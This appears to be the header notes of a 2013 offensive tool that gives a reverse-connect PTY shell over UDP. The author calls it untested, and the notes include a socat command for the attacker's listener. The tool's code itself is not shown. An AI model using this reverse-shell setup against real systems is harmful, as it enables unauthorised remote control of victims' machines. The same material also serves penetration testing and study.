Reverse Connect UDP PTY Shell - testing version
infodox - insecurety.net (2013)

Please note this may not work and I need to clean it up.
It is also COMPLETELY untested as right now I do not have a
linux box to test it on. I will do so later today.

Gives a reverse connect PTY over UDP.

For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw  udp-listen:PORT
